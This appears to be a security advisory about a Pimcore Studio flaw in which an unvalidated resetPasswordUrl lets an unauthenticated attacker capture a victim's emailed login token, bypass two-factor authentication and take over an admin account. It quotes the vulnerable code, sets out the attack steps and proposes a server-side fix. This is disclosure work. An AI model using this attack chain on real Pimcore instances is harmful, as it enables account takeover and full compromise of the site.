An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.
The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLIC_STUDIO_API voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.
final readonly class ResetPassword
{
public function __construct(
private string $username,
private string $resetPasswordUrl // attacker-controlled, no validation
) {}
}
In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:
$token = $this->authenticationResolver->generateTokenByUser($user);
$loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;
The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.
src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:
$pimcoreUser->setTwoFactorAuthentication('required', false);
The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.

Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.
An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.
The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).
Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.
Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:
$loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;
If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.
